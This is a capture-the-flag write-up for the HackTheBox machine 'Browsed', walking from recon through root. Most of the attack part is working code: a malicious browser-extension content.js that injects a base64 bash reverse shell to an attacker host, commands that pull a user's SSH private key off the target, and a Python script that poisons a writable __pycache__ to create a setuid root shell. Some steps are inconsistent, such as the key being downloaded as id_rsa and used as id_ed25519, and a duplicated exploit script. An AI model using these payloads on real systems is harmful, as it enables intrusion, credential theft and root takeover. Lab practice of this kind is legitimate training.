XP
Discord

WriteUp for Browsed Machine


imageimage# HackTheBox — Browsed

Difficulty: Medium- Hard OS: Linux
Category: Web, Privilege Escalation
Status: ✅ Pwned


Table of Contents


Machine Overview

Browsed is a medium-difficulty Linux machine that chains together web enumeration, a virtual host discovery, source code analysis through an exposed Gitea instance, a browser extension exploitation via a headless bot, and finally a Python __pycache__ poisoning attack for privilege escalation to root.


Reconnaissance

Nmap Scan

nmap -sC -sV -oN nmap/initial <MACHINE_IP>
![image](story_1774118607025.jpg)

Key open ports identified:

PortServiceVersion
22SSHOpenSSH 9.6p1 Ubuntu
80HTTPnginx 1.24.0
1234HTTPSimpleHTTPServer 0.6 (Python 3.12.3)
5678HTTPSimpleHTTPServer 0.6 (Python 3.12.3)

Hosts File Entry

Add the machine's hostname to your local hosts file so the domain resolves correctly:

sudo echo "<MACHINE_IP>  browsed.htb" >> /etc/hosts

Enumeration

Web Application — browsed.htb

Navigating to http://browsed.htb reveals a web application. Browsing to the Samples page provides a downloadable ZIP file (the fontify extension package).

Steps:

  1. Visit http://browsed.htb
  2. Navigate to the Samples page
  3. Download the provided ZIP archive

Virtual Host Discovery via Dev Tools

Upload the same downloaded ZIP back to the upload functionality on the web application. Upon inspecting the output, Developer Tools are left exposed in the response, leaking an internal domain:

browsedinternals.htb

Add this second domain to your hosts file:

sudo echo "<MACHINE_IP>  browsedinternals.htb" >> /etc/hosts

Navigating to http://browsedinternals.htb opens a Gitea instance.


Foothold

Gitea — Source Code Analysis

On the Gitea instance, a repository under the user 's folder markdownpreview is publicly accessible. Inside the repository, two key files are present:

  • app.py — The main application logic
  • routines.sh — Background task / bot routines

Vulnerability Analysis:

After reviewing app.py and routines.sh, the following attack surface is identified:

A headless browser bot runs as the larry user and automatically processes uploaded browser extensions. The bot loads and executes the extension's content.js file in its browsing context. Because the bot visits pages while authenticated (or within a privileged context), a malicious content.js can be used to trigger a reverse shell callback — effectively turning the bot's automated action into Remote Code Execution (RCE) under the larry user account.

This is a Malicious Browser Extension / XSS-via-Bot attack. The bot simulates a browser, loads the attacker-controlled extension, and executes arbitrary JavaScript — including a reverse shell payload.

Crafting the Malicious Extension

Modify content.js with a reverse shell payload and update manifest.json to ensure the extension has the necessary permissions. Then repackage:

zip -j fontify_exploit.zip content.js manifest.json
manifest.json: 

{
  "manifest_version": 3,
  "name": "exploit",
  "version": "0.1",
  "description": "exploit",
  "background": {
    "service_worker": "exploit.js"
  },
  "host_permissions": [
    "http://127.0.0.1/*",
    "http://localhost/*"
  ]
}

content.js:
 
(function() {
    const TARGET_BASE = "http://127.0.0.1:5000/routines/";
    const ATTACKER_IP = "Your_IP"; 
    const ATTACKER_PORT = "Your port where you want rev shell. 32e";
    const revShellCommand = `bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1'`;
    const b64Payload = btoa(revShellCommand);
    const space = " ";
    const injection = `a[$(echo${space}${b64Payload}|base64${space}-d|bash)]`;
    const finalURL = TARGET_BASE + encodeURIComponent(injection);

    // Optional: Let you know the script started on your port 80 (python -m http.server 80)
    fetch(`http://${ATTACKER_IP}/ALIVE`).catch(() => {});

    // Trigger the Exploit
    fetch(finalURL, { 
        mode: "no-cors",
        cache: "no-cache"
    }).then(() => {
        console.log("Payload sent to internal target.");
    }).catch((err) => {
        console.error("Fetch failed:", err);
    });
})();

Note: Adapt the payload to the exact execution environment observed in app.py.

Catching the Shell

Open a Netcat listener before uploading:

nc -nvlp <PORT>

Upload the malicious ZIP via the web application and wait. The bot processes the extension and the reverse shell triggers.

🎉 Reverse shell received as: larry

User Shell

SSH Key Exfiltration

With a shell as larry, navigate to the .ssh directory and retrieve the private key:

cd ~/.ssh
ls -la
# id_rsa (private key present)

Serve the key over HTTP from the target machine:

python3 -m http.server <SERVER_PORT>

On your attacking machine, download it:

wget http://<MACHINE_IP>:<SERVER_PORT>/id_rsa
chmod 600 id_rsa

SSH Login

ssh -i id_ed25519 [email protected]
✅ Stable SSH shell obtained as: larry

User Flag

cd /home
cat user.txt

🚩 USER FLAG OBTAINED


Privilege Escalation

Sudo Enumeration

sudo -l

Output:

(root) NOPASSWD: /opt/extensiontool/extension_tool.py

larry can run extension_tool.py as root without a password.

Identifying the Attack Vector — Writable __pycache__

ls -la /opt/extensiontool/

The directory contains a __pycache__ folder that is world-writable. This is the key vulnerability.

Why this matters:

When Python imports a module, it first checks __pycache__ for a precompiled .pyc bytecode file. If a writable __pycache__ exists, an attacker can place a poisoned .pyc file that gets loaded in place of the legitimate module — running arbitrary code as whatever user invoked the script (in this case, root).

Python Cache Poisoning Exploit

Create the exploit script in /tmp:

larry@browsed:/tmp$ nano exploit.py
import os
import os
import py_compile
import shutil

# --- Configuration ---
ORIGINAL_SOURCE = "/opt/extensiontool/extension_utils.py"
TARGET_CACHE = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
TEMP_SOURCE = "/tmp/extension_utils.py"
TEMP_PYC = "/tmp/extension_utils.pyc"

def poison_cache():
    try:
        # 1. Get original stats (Size and Mtime)
        print(f"[*] Getting stats from {ORIGINAL_SOURCE}...")
        st = os.stat(ORIGINAL_SOURCE)
        orig_size = st.st_size
        orig_mtime = st.st_mtime
        print(f"    - Original Size: {orig_size} bytes")
        print(f"    - Original Mtime: {orig_mtime}")

        # 2. Define the malicious payload
        payload_code = (
            "import os\n"
            "os.system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')\n\n"
            "def validate_manifest(path):\n"
            "    return True\n\n"
            "def clean_temp_files():\n"
            "    return True\n"
        )

        # 3. Pad to exact original size
        current_len = len(payload_code)
        if current_len > orig_size:
            print("[-] Error: Your payload is too large for the original file size.")
            return

        padding_needed = orig_size - current_len - 1
        final_source = payload_code + "\n" + ("#" * padding_needed)

        with open(TEMP_SOURCE, "w") as f:
            f.write(final_source)

        # 4. Sync the source timestamp
        os.utime(TEMP_SOURCE, (orig_mtime, orig_mtime))
        print("[+] Malicious source created and timestamp synced.")

        # 5. Compile into Bytecode
        py_compile.compile(TEMP_SOURCE, cfile=TEMP_PYC)
        print(f"[+] Malicious bytecode compiled to {TEMP_PYC}")

        # 6. Inject the poisoned file
        shutil.copyfile(TEMP_PYC, TARGET_CACHE)
        print(f"[+] Poisoned .pyc successfully injected into {TARGET_CACHE}")

    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    poison_cache()
# /tmp/exploit.py
import os

os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

Compile it to generate a .pyc bytecode file:

cd /tmp
python3 exploit.py

Copy the compiled .pyc into the writable __pycache__ directory, naming it to match the module that extension_tool.py imports (verify the exact module name from the source):

cp /tmp/__pycache__/exploit.cpython-3*.pyc /opt/extensiontool/__pycache__/<target_module>.cpython-3*.pyc

Triggering the Payload

Run the sudo-allowed script as root:

sudo /opt/extensiontool/extension_tool.py --ext Fontify

Verify and Escalate

ls -la /tmp/rootbash
# -rwsr-sr-x ... rootbash
./rootbash -p
💥 ROOT SHELL OBTAINED

Flags

# Root Flag
cd /root
cat root.txt
FlagValue
Usercat /home/larry/user.txt
Rootcat /root/root.txt

🏆 MACHINE PWNED


Key Takeaways

#Lesson
1Dev tools exposure can leak internal virtual hosts and subdomains — always inspect all HTTP responses
2Bot-driven extension processing creates a powerful XSS/RCE surface when the bot executes attacker-controlled JS
3Gitea / internal VHosts often hold source code with vulnerability hints — enumerate aggressively
4Writable __pycache__ + sudo-allowed Python scripts = reliable privilege escalation via bytecode poisoning
5Always run sudo -l immediately upon landing a shell — misconfigurations here are common privesc paths

Tools Used

  • nmap — Port scanning and service enumeration
  • Gitea — Source code review
  • zip — Packaging the malicious extension
  • netcat (nc) — Reverse shell listener
  • python3 -m http.server — File transfer
  • ssh — Stable shell access

*Writeup by: urstrulykumar7
Machine: HackTheBox — Browsed
Date: 2026-03-21